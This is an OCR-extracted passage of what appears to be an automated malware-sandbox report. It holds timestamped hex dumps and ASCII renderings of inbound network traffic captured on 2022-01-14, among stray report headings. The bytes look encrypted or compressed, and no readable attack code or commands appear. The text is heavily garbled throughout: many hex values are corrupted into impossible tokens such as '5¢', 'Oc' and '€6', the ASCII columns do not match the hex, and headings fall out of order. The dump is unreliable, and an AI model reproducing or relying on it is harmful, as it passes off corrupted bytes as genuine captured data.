20 2a 11 72 2e 06 44 2a 1e 33 07 42 50 52 39 24 1f 3e 24 11 00 42 03 37 10 51 45 28 23 13 1e 22 22 3a 45 19 5d 5¢ 22
25 3b 70 Oc 61 35 1f 12 26 2d 04 13 Ob 3a 2f 20 58 12 08 09 2e Ob 33 09 1b 2¢ 75 02 12 39 32 20 Oe 01 3f 4¢ 40 09 35 70
27 0f 09 16 27 23 0f 39 21 74 24 Ob Ob 45 2e 1a 38 18 53 35 7c 28 3e 03 31 10 17 2c 40 03 53 11 5e 45 20 12 0d 25 2f 37
3c 31 03 57 46 2e 05 38 69 Oc Of Oe 2¢ 05 31 28 15 14 10 3d 0d 23 62 1f 1d 14 5a Ob 35 05 1e 3b 1c 06 18 13 02 23 15 Oc
08 5a 5¢ 38 4c 43 2a 6e 20 14 36 23 Of 39 21 74 15 0f 13 6f
Data Ascii: hP\J(#=r+SR Y\,s"CSF):To6$<ISf.C3#[Uly\ <# *r.D*3BPRI$>$B7QE(#":E]\"%;pa5&-1/ X.3,u92 2L@5p"#9lt
$E.8S5|(>1,@S"E %/7<1WF.8i,1(=#bZ5;#Z\8LC*n 64#9!t0

2022-01-14 03:59:52 UTC 7214 IN Data Raw: 5f 32 66 6¢ 7c 58 59 51 65 6b 49 69 76 61 43 6d 49 67 63 6a 28 35 7e 4c 36 6f 6¢ 6f 69 4a 7e 56 4d 56 5d 6a
6275 1d 57 4b 61 69 3e 27 18 49 4b 61 dO 87 76 65 32 66 37 70 45 31 49 73 75 77 43 55 64 30 65 20 b2 f0 43 46 45 7b
el ff 73 6b 46 cc f9 6¢ 62 41 7e 72 37 73 7f f1 d7 5d 42 23 79 c9 e4 63 el d6 61 cc f4 7f 6d 35 31 6e 27 b3 d6 6d 67 71 4c
7276 4b 4a 7a 7a 6e 61 22 cb b2 46 6e 23 27 28 4f 43 72 59 71 67 7d 2b 64 25 f4 ad 33 4f 53 60 73 44 c7 c4 35 70 33 2a
7f 4354 02 71 79 74 69 67 55 4d 6e 7a 7c 51 6¢ 4f 24 e6 cc 78 5a 58 45 74 66 48 67 f3 35 4a 70 4c 74 71 66 34 22 ed 6d
34 4f 6e 72 63 4f 76 78 40 44 76 67 78 6a 31 45 40 4f 6¢ 30 27 b0 45 44 76 45 65 6b 6d 20 €6 92 7a 36 11 48 7d 73 f1 f3
4479 31 7e 31 1a 71 48 5¢ 06 7c 73 6b 6e 65 d5 50 78 7c
Data Ascii: _2fl|XYQeklivaCmlgcj(5~L60loiJ~VMV]jbuWKai>'IKave2f7pEllsuwCUdOe CFE{skFIbA~r7s]B#ycam51
n'mggLrvKJzzna"Fn#(OCrYqg}+d%30S sD5p3*CTqytigUMnz|QIO$xZXEtfHg5JpLtqf4"m4OnrcOvx@Dvgxj1E
@OI0'EDVEekm z6H}sDy1~1qH\|sknePx|

2022-01-14 03:59:52 UTC 7230 IN Data Raw: 32 22 00 e7 9e 98 93 e0 05 fO 0d 00 04 58 aa af 03 5a Of ff 00 d1 48 8a 86 41 26 2e 05 00 79 Ob e8 4f 4e 5f dc
67 07 a1 08 e9 a3 27 00 cb cc ¢8 1d 1c c9 d7 cf 05 cd ce db Oe df d9 00 da dc dd de df 1c e0 el e3 c0 e4 59 e5 58 0a 50
00 52 51 2e 88 83 b8 4c bc 3e 5a 54 80 b2 31 46 c0 65 c9 50 00 44 1e 8f 80 25 15 10 0f 7f 05 1d d2 8b 88 41 11 89 90 4d
06 40 85 21 cb 5 00 c6 fd d7 80 16 39 f7 77 00 13 74 2f 96 29 03 78 2a 03 f3 a5 ff 81 83 el c8 dd a4 21 1c 31 87 74 40 Oe
fc 43 7c Of a5 00 05 19 11 fd 35 1a 86 cb 24 06 66 1f 30 22 98 Oc 12 0f 81 c4 04 f0 e7 50 99 83 01 eb 97 2 8a 03 43 7b {7
00 3c 20 76 f5 0e 80 3b 22 75 21 Ob 30 7b 01 21 40 60 c6 13 00 02 eb e6 4f 5f 25 ec fa 00 1c 1b 7c 43 06 05 88 14 02 04
4056 24 13 84 c1 54 d0 d4 fO dc 76 58 00 29 08
Data Ascii: 2"XZHA&.yON_g'YXPRQ.L>ZT1FePD%AM@!9wt/)x*!11t@C|5$f0"PC{< v;"u!0{!@ O_%|C@V$TvX)

2022-01-14 03:59:52 UTC 7246 IN Data Raw: d0 74 7b 40 e2 00 f2 63 c2 0a e9 f1 5e 07 03 03 al Oe eb 5f 9d a1 51 d8 eb fb fc f9 7c 60 60 4d 80 16 7d 9e 75
00 7c ba f8 1d 89 b9 00 05 55 98 db e3 6a b1 el f4 2a fe 8c 01 5f 2b 03 8d 93 15 14 d7 9b 75 bb Ob 98 19 21 4a 00 01 eb
13 60 la el 77 34 00 66 88 0a 46 f4 25 84 c0 1f 74 df 69 80 3b ea ac c4 67 37 75 70 00 51 06 fe b8 58 Oc e9 2f Oe Oa 8b
2c fd ef 24 20 e8 13 82 01 7e 03 1c 81 ed e3 3d 50 f7 20 55 2f 08 52 00 89 2e 32 6¢ 9f fc 26 b1 1e 29 30 c9 40 9d el b6 d4
8d 62 00 7f f8 d8 4b 31 e2 e6 97 f2 b0 4c 55 dd 1f 14 91 c0 89 Oc 85 17 93 08 75 10 00 de ca 79 03 66 bb 43 88 00 e4 54
aa 2a 49 b9 4e 22 b8 ce 00 75 28 68 be Ob ea Oc 72 00 77 aa bl 40 2c 80 29 1e 01 27 91 16 83 70 7b 04 d8 61 2a 7a 48
00 94 7a 96 3d 43 02 23 01 74 c4 03 39 22 bc f2 34 a2
Data Ascii: t{@c”_Q| "M}u|Uj*_+u!lJ*wafF%ti;g7upQX/,$ ~=P U/R.21&)0@bK1LUuyfCT*IN"u(hrw@,)'p{a*zHz=C#t9"4

2022-01-14 03:59:52 UTC 7262 IN Data Raw: Oe 28 22 3f 5f 6e cO e8 93 7a a4 16 a5 00 7d 31 94 89 30 6b 55 3d 00 8b 43 73 f4 44 51 0f ae 00 ba 10 c8 fd 6¢
14 20 48 00 81 4c 09 e2 13 d4 08 50 fe 54 07 9e 21 3d 40 58 f5 5c 4f Of 60 e8 64 47 68 f4 6¢ 33 70 fa 74 11 78 fd 7c 10 d7
82 df 00 bd f6 49 87 8b 47 44 d0 00 c2 c1 ¢8 07 98 bl ea ca 71 12 7c 31 00 03 b7 d8 80 78 8f 8¢ 4c 00 f2 fe ce 50 11 14
13 f8 7e d6 74 f3 58 3¢ 90 3f 1d 00 03 49 64 01 02 0d 87 fe a4 16 36 48 78 Oe 30 81 80 7c a8 29 6a f9 7d b8 f4 68 Of 88 84
64 4c c3 44 28 81 e0 4e af 39 fc 62 3a 21 48 1c 6¢ 88 40 64 50 78 7d 81 84 1f Ob c8 9b 5f 4c 40 70 44 8c 32 54 3c 3c 40
b6 95 85 e4 al 7d 00 74 22 90 19 58 1e 20 ef 00 42 8c f1 0d fa a8 c4 39 f0 78 00 21 94 91 5¢ e0 28 82 b8 f4 90 00 2 46
04 58 22 7c 11 98 06 Oc 60 8f 10 61 2e 00 79 7f
Data Ascii: ("?_nz}10kU=CsDQI HLPT!=@X\O dGhlI3ptx|IGDq|1xLP~tX<?Id6HxO0|)j}hdLD(N9b:!HI@dPx}_L@pD2T<<
@}"X BOXI\(FX"['a.y

2022-01-14 03:59:52 UTC 7278 IN Data Raw: 42 8d e3 f2 de 91 f0 80 {7 d9 01 8b 14 8f 33 73 54 64 20 f4 20 16 43 34 d1 00 84 bc 03 40 41 75 60 e8 cc d4 e4
3c 50 00 27 81 ec 56 9c 84 89 e7 00 b9 ff 43 4e 8d 70 10 99 1e 76 40 da 40 f5 06 6¢ 8e Of ca 7b 89 3d c1 52 01 e8 bb 91
34 96 b0 d0 22 9c 16 06 8e 5e 00 6d 4e cf 16 56 01 00 1e 7e 10 Of c8 c9 cb d1 e6 bc ff cO cf 89 00 d6 31 ce 21 de 1d 03
3c 02 24 fc 81 c1 cb 02 c0 24 37 3f 07 e4 16 89 7c ¢6 50 05 3b 01 {7 00 87 ce 31 de 21 b5 03 58 00 d3 48 c1 c8 c4 3a 94
32 e2 fe 00 11 f2 dc de 31 ee 21 f6 00 03 bd 78 5b c6 4a c1 cf 00 3a 7f 8¢ 86 42 d6 37 f1 00 82 e3 fe 21 d8 03 5c¢ 24 30 63
Oc 2a ca 10 3a 00 9c 33 c8 ce 46 f3 82 cf 01 d8 21 69 03 63 c4 18 8b 28 c9 3a Oc 78 52 de 03 2b f0 90 ad 5e 81 b0 91 d1
18 Oe 1c 16 87 44 80 72 Oe 1d 11 20 Of c8 1e 74 e3
Data Ascii: B3sTd C4@Au’<P'VCNpv@ @{=R4""mNV~1!<$$7?|P;1!XH:21!x[J:B7\$0c*:3F!ic(:xR+"Dr t

2022-01-14 03:59:52 UTC 7294 IN Data Raw: al b1 Oa Oc fO 38 6¢ 00 25 1a 8d 93 Ob 7f 79 78 00 82 c7 €8 7b 09 a0 20 Of 06 6a 10 8d 50 83 5f 7f 57 00 9b be
26 42 8530 71 d8 00 04 c6 40 Oa fb c8 7f 10 01 al 05 14 9c 1c 08 33 c8 09 86 70 30 01 58 f6 be ef 6e d2 42 30 2f b6 00 fO
27 d5 71 b8 e3 da ee 00 df Of 65 56 f1 e5 €0 61 Oe 9e ca 2a 64 00 1c 85 al 92 d9 07 27 43 cd fc c8 00 2e b7 9c 8e 13 55
ec e6 00 d7 c6 99 e9 af fa 1c f3 ef 61 00 5d 47 c3 a0 de ae 01 ea 4d f6 79 3b f8 e6 c0 01 6¢ 07 6d 37 78 bc 5¢c 00 c4 c3 88
42 26 5b 96 ba 00 07 5a 4e 62 73 58 00 a0 f7 fe 76 8f e2 b2 01 00 6d 98 90 d3 a9 ab 4c e0 38 f5 9a 00 dc 99 8b 32 77 33
8f 00 de 18 73 4e 45 c4 12 8e e0 e4 00 fa 04 71 f3 86 78 c5 0f 00 ec 6¢ 50 46 c0O dO 10 99 2e 63 37 b2 00 18 b7 08 49 66
dd 00 1f 01 97 22 3d cc b4 38 Oe a6 c0 16 a7 00
Data Ascii: 81%yx{ jP_W&B0q@3p0XnB0/'qeVa*d'C.Ua]GMy;Im7x\B&[ZNbsXvmL82w3sNEqxIPF.c71f'=8

2022-01-14 03:59:52 UTC 7310 IN Data Raw: 69 c8 23 04 b8 84 99 8a 78 06 00 7c 5d 11 08 f6 c2 3b d9 fb 80 ae b5 4a ee cd ec 91 07 Oc 13 17 8e 36 c5 6d
07 cf 94 d5 77 24 70 01 f8 e9 42 2e aa c8 ca 00 86 0f 84 f7 ¢5 90 7a 08 1f 10 el 49 00 Oc Od 19 18 f1 15 00 20 2a 6b 46
81 5f e5¢c8 03 ec c5 16 83 e0 0f 80 34 09 77 Ob 06 f6 43 05 00 b9 74 3f 89 bb Oe 16 24 27 2d a0 1c 3e 17 83 c5 09 06 8b
4f 5b 80 17 Oa 46 al 32 f6 a8 01 5¢ 20 c¢7 68 64 10 3c e4 31 25 00 fO 1d 3d 90 8a Ob 77 Oe 00 46 70 74 14 cb ae 60 15 00
a7 6f f4 a6 25 el aa 68 07 ac c1 Ob cd 89 13 22 8b b8 30 07 b2 16 01 b3 a2 00 6b 82 83 4b 2e 40 38 d7 5a 00 ac Oe 43 08
94 ec fb 2c 23 ed 8b 03 ff 21 9f d1 b8 Oa f9 68 00 a7 4a ef 65 1f a0 a8 23 00 b4 dd 25 d6 Oc 5a 62 9a 4a d3 f0 99 50 00 a6
9d 26 7c 65 cf bc 43 07 a5 eb 20 73 29 60 56 c2 0d 50
Data Ascii: i#x|];J6mw$pB.zl *kF_4wCt?$->O[F2\ hd<1%=wFpt 0%h"0kK.@8ZC,#'hJe#%ZbJP&|eC s) VP

2022-01-14 03:59:52 UTC 7326 IN Data Raw: 49 5e 58 b9 9c 73 10 0a 00 5¢ 26 60 09 42 eb 51 8d fc 7e 7d f3 00 3c 18 e0 69 8a 46 95 54 f8 11 00 06 3e 13
a8 5¢ le 43 6¢ 3d ca 4b 87 10 9c 2 3a 59 80 05 2e 29 b4 e5 00 c3 db 32 17 04 19 3c b3 3c 46 bb 01 e2 27 18 f9 a2 5a 60
b6 71 00 8b 43 79 04 31 78 ca 4c 92 03 01 58 4d 32 76 13 61 47 dc 2e 7c 90 00 03 39 36 d8 cd 6a 1b b8 5f b5 b6 00 8e
3e a5 04 5a 4d 58 8f 00 d4 e2 05 29 Oa d3 93 cb f4 bf 01 12 15 4c 1a 46 b3 50 30 e2 e9 1d 0d 25 bc 03 54 ea 13 dc 80 40
05 03 00 80 78 84 22 10 01 3e 50 00 07 df f0O d2 09 bd 70 d7 98 17 00 e9 35 0a 61 1d 78 20 7a Of 58 42 1a c6 80 44 29 9f
72 01 e3 30 f3 fa 9d 78 54 00 bd 68 2e 82 95 73 19 06 7c 9b 00 44 af c3 89 d4 11 29 1a 1f 18 e5 cc d3 f6 Oe 08 ce be 41
90 50 51 88 8f 30 57 42 01 b8 f0 e8 el 4c f3 1c 30 00 75 3c
Data Ascii: I"Xs\& BQ~}<iFT>\CI=K:Y.)2<<F'Z qCy1xLXM2vaG.|96]_>ZMX)LFP0%T@x">Pp5ax zXBD)rOxTh.s|D)AP
QOWBLOu<
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 7342 IN Data Raw: 5e le fa 6¢ 3a d4 d9 1f ea b8 80 18 8a 85 al ed 84 77 c0 00 8d 7e Oc Oa 75 13 97 fd 00 91 f6 54 2a 81 dc 85

b5 00 83 31 ff d2 eb 10 29 27 28 07 12 f8 00 4a 97 44 fb dd 38 92 91 07 f2 05 ad ee 0a 10 29 47 e4 Oc 39 54 85 00 86 87
91 56 92 09 18 00 80 77 ca 39 fffa 2b 44 00 4c 90 93 e8 12 d9 20 ea f4 d3 00 Of e2 b6 3e 40 03 b2 74 02 79 87 19 d6 6e
€9 80 be c2 27 Oc 48 03 ba 03 75 7f 50 da c0 45 aa 9a 00 22 e5 d2 ee 32 21 f0 8 1c 26 74 0d c0 8b ce 06 64 7f 22 f9 40
d8 fd 28 f7 13 2b c6 5a 00 55 92 0b 19 04 1b 03 94 2c a2 be 31 05 d7 57 ea 50 06 Oa fO f8 90 04 00 55 Oc c9 20 51 6¢ 56
87 00 2b 2f d5 f7 11 59 ¢8 7e 00 cd 66 55 c2 39 3b 3f 28 00 dO d8 f4 73 4e Oc aa c8 00 dd 5¢ 48 83 03 a2 d3 7d Of 7e 54
598 41 89 71 25 8d 20 €9 e4 00 14 26 8a 9f db 65 5d a8

Data Ascii: :w~uT*1)'(JD8)GITVwWI+DL >@tyn'HUPE"2!&td"@(+ZU,1WPU QIV+/Y~fU9;?(sN\H}~TYAq% &e]

2022-01-14 03:59:52 UTC 7358 IN Data Raw: 52 74 05 03 64 42 57 90 54 22 30 3e 08 0a 77 28 b0 5f 12 a8 c1 72 33 62 ac 1e 91 a0 d3 2e 18 0f 94 b0 7e 11
8 a4 84 04 78 23 00 6a 40 58 75 13 10 20 70 fe 6e 00 67 ae 5e 9a 74 57 64 60 75 b2 00 24 10 4e Oc b1 f8 c8 63 03 28 50
182a 22 08 c8 03 €8 94 00 57 04 64 29 14 10 05 54 07 6a 4c 7c 2b c8 b0 da 85 20 24 76 2a 3d c4 50 80 07 Ob 54 14 68
d2 d8 6 82 60 5a 22 b4 58 52 4c 04 10 cc 2¢ 19 3a c2 69 04 60 4e 91 ec 07 3e fc 65 59 2d 20 ¢4 11 02 74 00 4a fe €6 b8
ce 1d 08 94 14 72 06 50 a6 00 73 df 98 f2 aa cc 85 07 64 07 39 13 48 60 60 22 10 40 7a 05 00 43 6¢ 61 73 c7 99 38 24 74
58 00 74 2f 0f 5 49 26 71 03 fe 41 00 64 61 70 7b 5a 60 80 51 Oe 01 34 2f 9¢ 9f cO ec 52 d0 11 9e a6 00 c0 20 af 14 3d
82 da 37 3e a2 f0 60 16 60 25 74 80 fe e0 3b 09 72 80 30 ec
Data Ascii: RtdBWT"0>w(_r3b.~x#@Xu pngMWd u$Nc(P**"Wd)TjL|+ $v*=PTh Z"XRL,:i'N>eY- tIrPsd9H "@zCla
s8$tXt/I&gAdap{Z Q4/R =7>""%t;r0

2022-01-14 03:59:52 UTC 7374 IN Data Raw: 8c 85 €0 08 ac 00 58 93 97 04 a4 32 c0 d4 00 42 c2 a0 19 49 8a bf 6¢ 00 7a 27 90 61 24 e0 d9 ea 37 el 78 16
90 f0 52 38 b9 7c 9 00 74 54 1e b5 87 64 €9 41 1f 09 3c 1b 5f 4e 40 Oc b2 f0 11 2¢ 3d 00 25 de 9d 45 96 a7 43 b6 €8 3e
00 a3 93 ae a2 16 d4 68 19 ee b0 00 30 02 40 27 41 84 1a ec 00 76 25 bd 85 4c 06 a0 20 1f 2c e8 55 00 bb f1 43 cd 7e 92
0141 49 b0 f0 75 82 71 60 80 76 00 50 ba 62 5a 09 c2 9a a2 00 d6 8e 26 46 1c cf ac 40 fd c8 02 51 00 9¢ 13 21 c3 a2 8a
a3 bf 00 b0 Ob 31 61 e4 b4 9a 36 00 4f 04 Oe 86 47 89 74 a7 00 26 ec al 32 34 6d c9 ad 24 3b Ob 79 07 41 b0 dO b0 12 1f
9d 87 00 32 e4 61 05 39 91 3a 0e 00 f2 €7 cb f7 71 24 17 1c 2e c2 1e 98 00 d0 18 cc d9 1d 3b 00 ff c9 ¢7 24 04 1c e4 2e
09 98 fd ed 97 80 68 4f c6 dO cf 00 5 cd 12 f1 c2 ca de
Data Ascii: X2BIIz'a$7xR8|tTdA<_N@,=%EC>h0@'Av%L ,UC~Alug vPbZ&F@Q!1a60Gt&24m$;yA2a9:9$.;$.hO

2022-01-14 03:59:52 UTC 7390 IN Data Raw: de 20 d9 b6 f8 a6 19 14 04 d3 21 3e 89 33 99 41 Ob e9 38 3a 83 2c €8 26 16 €9 11 ca 46 7a 9d b8 c1 c1 82 4d
af a0 19 €9 f9 03 12 52 7b 3e 79 88 09 eb f7 5¢c ee 77 c8 8e e3 a7 94 e2 e5 95 17 61 61 cb ea 2f a5 68 be a5 93 3a 61 7a
6f ff 24 4a c1 67 00 f2 98 c0 48 34 e0 3b aa a0 21 78 81 6f 10 76 ba 24 ca f9 25 9b 5a ad d9 a3 4c da 9c 7b d2 44 cc 19 df
86 62 14 47 eb ab fd 8a 26 83 8f e6 4d a8 f3 59 e9 c6 19 94 25 40 65 d5 7f f8 44 52 ee 7d 37 54 09 58 eb 02 16 98 fc 78
91 ff f9 75 6a dc 22 9d d1 b4 cb 63 95 e8 68 79 d8 19 55 81 d4 79 f1 02 30 cf f9 7f cb fc ac 66 3e 44 1d 27 7b 4a ef d3 e6
61 8e 43 0d b9 06 69 28 9e 05 73 f4 ae f9 5f 10 74 95 08 fe b9 d4 c4 8f 5b 30 9f ba 7b 9f 68 08 09 26 f6 €0 ce c5 6e 2c b8
8b ef dc 28 b0 5b b2 2a f5 3b a2 ¢9 04 b0 ca dd
Data Ascii: !>3A8:,&FzMR{>y\waa/h:azo$JgH4;!xov$%ZL{DbG&MY%@eDR}7TXxuj"chyUy0f>D'{JaCi(s_t[0{h&n,([*;

2022-01-14 03:59:52 UTC 7406 IN Data Raw: f9 83 23 86 a4 d4 76 6d 93 48 2d 20 ea 86 25 08 db ff 03 ad 2b b9 43 c4 ae 70 5e cc 40 Oc 2a d0 fd 82 01 6a
17 3b b5 24 25 0f 4f 57 ad 3a ff Oc d1 9e 97 cd 7f 94 9a f2 d8 ac b0 50 97 a4 41 3c 95 15 66 3c 94 e5 34 ac 2c 19 41 6d ec
b0 d6 aa cf 15 5a 2a 05 33 f1 ee b0 06 c8 ad 70 b2 eb 3c 74 56 d4 df 86 9d 9a f6 68 59 70 2f 46 a8 2c 92 f9 6b 72 14 fc 4f
df 74 92 5e 14 6f 87 70 f3 5b c4 fd {7 87 fd 4c 62 a6 45 b2 02 87 2f 1c 78 c5 b7 9a 84 cf 35 46 46 f2 0f dO 5b ec cd ad f3 25
de f8 7d 71 1a f1 83 3f 22 f2 ff 7b 6d 36 a8 5a 47 73 7a 16 0d 95 b4 01 9a fb db ee fc ¢8 b7 ab 3c 70 72 5¢c a0 25 a5 91 10
2107 bl 73 4c 8¢ 05 cc a5 72 58 fa f2 bd d1 97 6a 33 03 33 b3 b6 54 25 1d ed 6e a3 06 5f 15 10 2¢c ea 9f 1a 18 44 51 53
97 88 88 a3 bf 7f 52 77 15 ff 4b ce 8c ea
Data Ascii: #VmH- %+Cp"@%*};$%O0W:PA<f<4,AmZ*3p<tVhY p/F krOt*op[LbE/X5FF[%}q?"{m6ZGsz<pr\%!sLrXj33T%n_
,DQSRWK

2022-01-14 03:59:52 UTC 7422 IN Data Raw: a2 66 Oe c5 2c 03 e4 1b 65 df a0 56 bc b2 4e f4 da e6 4f 0d 5f 11 ec d6 06 97 cc 86 59 8a f9 8b d4 b7 5e 7d fa
da d8 fe ab d1 af 00 4b b8 ff 6e 3b d2 f5 b8 70 ad 2b 81 56 c6 96 b9 07 1c 10 94 8a db 60 bf d0 5f 40 1d 38 81 90 dd 60 30
87 a8 19 49 e8 5 1e d5 de 2a b5 f4 Ob a4 b7 1b 09 fd e4 a7 36 21 12 3b Oc d8 2a 88 80 b3 b7 e8 c8 44 b5 44 e4 5 41 76
7a 36 a0 a0 41 75 9a cc a5 e5 5d ed a2 e5 38 61 68 1b 15 52 e7 95 f0 63 ee b5 6a al 29 3d 47 17 7b 9d 2c 52 2a al b2
3550 81 1e 99 a5 37 a8 0f f1 af da el e2 8c 99 3b 5f 00 a4 1e bf 57 6b 93 e8 78 95 f5 d7 72 91 db d4 87 93 cd 6d 14 45
34 3ac9 77 2a 63 9e 6 6a 9e 15 38 ac 86 24 a7 55 34 13 42 63 1e 2e c6 c0 71 2b 02 5f cc 93 49 6e cc e2 ac b9 cd 7d c5
73 05 4e d5 6d de 9d 86 b2 4f 15 3d ¢3 86 d8 24 9f 39
Data Ascii: f,eVNO_Y”~}Kn;p+V'_@8°01*6!;*DDAvz6Au]8ahRcj)=G{,R*5P7;_WkxrmE4:w*cj8$U4Bc.q+_In}sNmO=$9

2022-01-14 03:59:52 UTC 7438 IN Data Raw: 24 30 85 ae 1la a2 67 54 92 e0 6f 78 2b 3f d9 46 64 40 5d 40 be 1c 75 f2 40 16 c1 ad 51 9b 54 c7 fe fb 01 5f 10
61 b5 4c 64 7d 74 f3 38 de 37 fc 3 18 50 00 b1 36 ab 0f 17 96 f4 61 4d 43 04 3c 7b e5 bl cc 7a 2a d7 f1 81 29 98 bc 4c 4f
ea 94 39 ac 5a a4 93 80 a5 ee 77 43 06 67 €6 4f b6 e2 cO 55 c5 ec 34 d3 73 82 4a b8 d8 46 eb 0f a9 06 58 d8 87 d9 6f 93
23 05 3d fb e9 6a b6 b6 22 fe c5 fc 92 0f 3e 46 5 b0 b8 2d 90 9c ac 5e 82 5b d1 db 33 2¢ 81 06 94 ae 11 7d fe c3 €9 88 ff
51 1c 5e 90 93 95 2b e3 5a e2 ae f1 03 09 3¢ 00 6¢ 61 3a a9 63 b3 8e 3a 3f 63 8a 90 3 47 8a e2 32 83 ad Oa 79 5a 0d
ae f6 Of 2f 11 99 d8 64 53 df 7e 80 88 da f0 el d3 97 49 e2 18 6¢ fe 05 15 ca fc 42 07 55 81 e2 68 98 b9 bc b8 7c e5 62 83
07 9d 6a 7e 10 5a 98 21 76 33 fc f8 bc aa c8 47
Data Ascii: $0gTox+?Fd@]@u@QT_aLd}t87P6aMC<{z*)LO9ZwCgOU4sIFXo#=|">F-"[3,}Q \+Z<la:c:?cG2yZ/dS~IIBUh|
bj~Z!v3G

2022-01-14 03:59:52 UTC 7454 IN Data Raw: 72 ac b7 2b 07 4a c3 a6 1b 89 08 84 2 fc d8 95 80 4e f5 ec a6 f6 85 75 c1 1f 01 6¢ ¢l bl 49 ef 53 f5 b9 88 f2
5¢ a3 3 49 9f b0 ee 42 c2 b7 38 9b be c4 be 47 09 67 b0 €6 b0 76 3e 24 b4 5¢c 9d 9b 76 6f 9a 5b 00 18 de 71 4b f9 33 d2
9b d5 e3 d5 d8 b4 da Of 0a 1d d6 2 39 df 93 b8 e8 36 d2 82 1c cf Of e4 f4 a4 8e 6e 19 04 4d dO 51 ba al 91 d4 Oe 3e d8
02 ca 55 4 1d 8f 52 95 bb ef 76 8 82 7a a9 32 04 e8 6¢ 7d 46 51 7 a9 39 ce 56 2d 67 76 3¢ 06 2 6b a4 4c 39 aa b7 19
7 db c4 c1 3a ee 7¢ 1c b3 b8 9a cb c6 41 3b 8f f3 21 64 3f 5¢ 6¢ be a3 1c 05 94 ¢8 fc 01 55 3b 92 9c 9e 66 44 7f ed 38 16
95 5a a4 ca ac 12 f0 31 25 2a 73 a3 ad 13 el ea 23 78 fc 85 fb fc €9 42 9f 61 40 ed 2e 94 fd 9e el 02 5d d7 a9 a8 83 72
9b 20 d2 al e6 30 69 6¢ 08 50 €3 29 c8 95 d1 Oe Oa
Data Ascii: r+J,NullS\IB8Ggv>$\vo[qK396nMQ>URVZ2I}FQIV-gv<kL9:|A:ld?\IU;iD8Z1%*s#xBa@.]r OilP)

2022-01-14 03:59:52 UTC 7470 IN Data Raw: f6 fO 8d ba 05 b6 58 6¢c €9 a7 8a 2f 3¢ 60 Oe cd 83 e8 c4 1c e7 14 93 53 bb 19 bc ec aa c0 d2 2d 88 9d 99 62 84
54 c0 d1 22 cf a3 46 ec ¢9 3d 31 98 ¢5 07 24 62 51 c2 9c 05 ba 35 6e 4e 05 fO 8¢ bf 2f 1e 28 3e 6¢ 91 f2 8f 7a €9 87 62 1le
4e 8b 45 b7 5b 9f a5 9b a8 8c ac db 5d 45 b4 da 99 a6 7a ca 51 el 40 f4 a2 3a 74 31 e9 f6 a9 59 62 15 58 10 54 38 a6 36
02 b9 72 cb 1a a4 4c ed 89 cc d2 8e 0f b9 48 f4 ba 7b 1c a6 d5 3f b3 2c ec 91 bd 30 88 5a a9 09 44 a7 a6 5c 51 a9 b7 42
67 f9 33 64 1b 5a 39 97 f6 d5 ee 9f 80 4c 4f 90 fb c2 88 ed 7c 98 8f 32 f4 2c 51 33 95 b2 ¢3 2b 43 88 0a 28 6¢ 54 €0 7b b9
ce 7ac3 a4 fc 52 ¢5 2¢ 04 69 12 ec da b8 51 67 92 ad 94 80 cd 22 28 01 43 c0 b7 fd 65 04 14 0d fc 50 el e6 c9 24 1b 30
a7 bb f1 80 76 cc 50 al 97 d3 62 Of 3b e6 fe a4
Data Ascii: XI/<*S-bT"F=1$bQ5nN/(>IzbNE[JEzZQ@:t1YbXT86rLH{?,0ZD\QBg3dZ9L0|2,Q3+C(IT{zR,iQg"(CeP$0vPb;

2022-01-14 03:59:52 UTC 7486 IN Data Raw: 77 Ob 33 62 be ec 62 68 89 4d bd 7e 2d b1 00 3e 44 1b f5 a4 03 d9 50 b1 33 95 bd d5 2d b9 11 f8 68 a6 ac 5a
22 66 ee 89 f1 4c 3b 30 9d 79 86 9d 3c f2 5b e3 33 b0 f0 a8 fa b9 27 6e f9 6f 41 bb 41 a2 a6 99 bb 5f 5e bd 0d ca f5 99 fc
3c e3 92 4c f4 87 b9 33 bd 84 e5 2e 4d b5 82 87 23 2b 25 64 ec 68 53 d7 61 52 da fc d4 fc 41 09 73 b5 d8 1e 4b 66 ba 4a
5411 41 fd c8 fb 81 05 b3 15 da fc e4 8a 95 ¢3 5f 9b ¢3 b6 a4 4b fb f4 bd 8f 8d 5e 77 57 5a 1f ef 52 77 5¢ ce eb5 c9 22 d6
97 74 39 6a ba 0f c3 f2 31 3a 79 46 ff ff fc b8 77 a0 8f 2e eb a7 cd 40 ca 14 03 2a 16 2f 92 3b df 42 b4 2b a6 13 9b c7 6f
a4 6e b7 e8 05 14 3c 3f 3b d8 91 f1 3a d9 03 5b 2f ca Oc a5 de 2d 5 bb 99 b4 62 8¢ 66 Oe 52 5¢ 79 49 e2 49 99 36 e6 e7
3b 05 64 57 fc df ff fa c6 67 29 f2 ca 18 96 c8
Data Ascii: w3bbhM~->DP3-hZ"fL;0y<[3'noAA_"<L3.M#+%dhSaRAsKfITA_K"WWZRw\"t9j1:yFw.@*/;B+on<?;:[/-bfR
\yll6;dWag)
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kBytes

Timestamp transferred

2022-01-14 03:59:52 UTC 7502

2022-01-14 03:59:52 UTC 7518

Code Manipulations

Statistics

Behavior

System Behavior

Direction

IN

Click to jump to process

Data

Data Raw: 8e 02 64 7d a5 76 13 c0 a8 7d bc 57 12 €9 62 eb 14 7d a0 c9 bd 41 6a 4b 00 bc bc 83 4a 49 9e 1d b0 9d b2 21
81 03 6f c0 43 6e 66 02 63 57 3b 29 9c ed 4c b2 27 26 ac 24 9f 88 8f a2 62 Oc Ob 2a 28 a0 6f dO ff dc 12 90 f3 51 33 68 af
01 56 ca 54 27 19 3c 95 9a 77 6¢c 42 12 el 31 fa 45 4d 28 24 1f 23 97 ¢8 77 11 f1 75 09 60 89 €9 24 6a 21 a0 a4 48 ed 66
c4 91 1c e4 bb 72 b8 cf 55 d6 d1 ca 68 21 45 dd €9 67 29 73 4b fO 1e 0a 9a 32 f3 74 cc bb dc 9b 58 af 40 91 f4 08 3a 91
8e d1 c5 1e 5e 01 74 94 24 65 9e 25 ca d5 61 45 05 ef ee c4 61 77 3d 2e 45 5a fa 6d bf 4f 81 f2 ce 79 5d 93 8b 47 06 4c
a7 75 15 bc 20 37 0f da 7f fd 54 6b 8e 42 f1 5d 8e a7 3b 48 8a 8e 23 1a e2 86 83 52 9c 28 f1 22 7f 73 01 1e 43 f4 4d fd 74
1e f397 0d 10 bc 92 18 95 58 76 Ob 19 Of 02 7c 86

Data Ascii: d}v}Wb}AjKJI'oCnfcW;)L'&$b*(0Q3hVT'<wIB1IEM($#wu $j!HfrUh!EQ)sK2tX @: t$e%aEaw=.EZmOy]GLu
7TKB];H#R("SCMtXv|

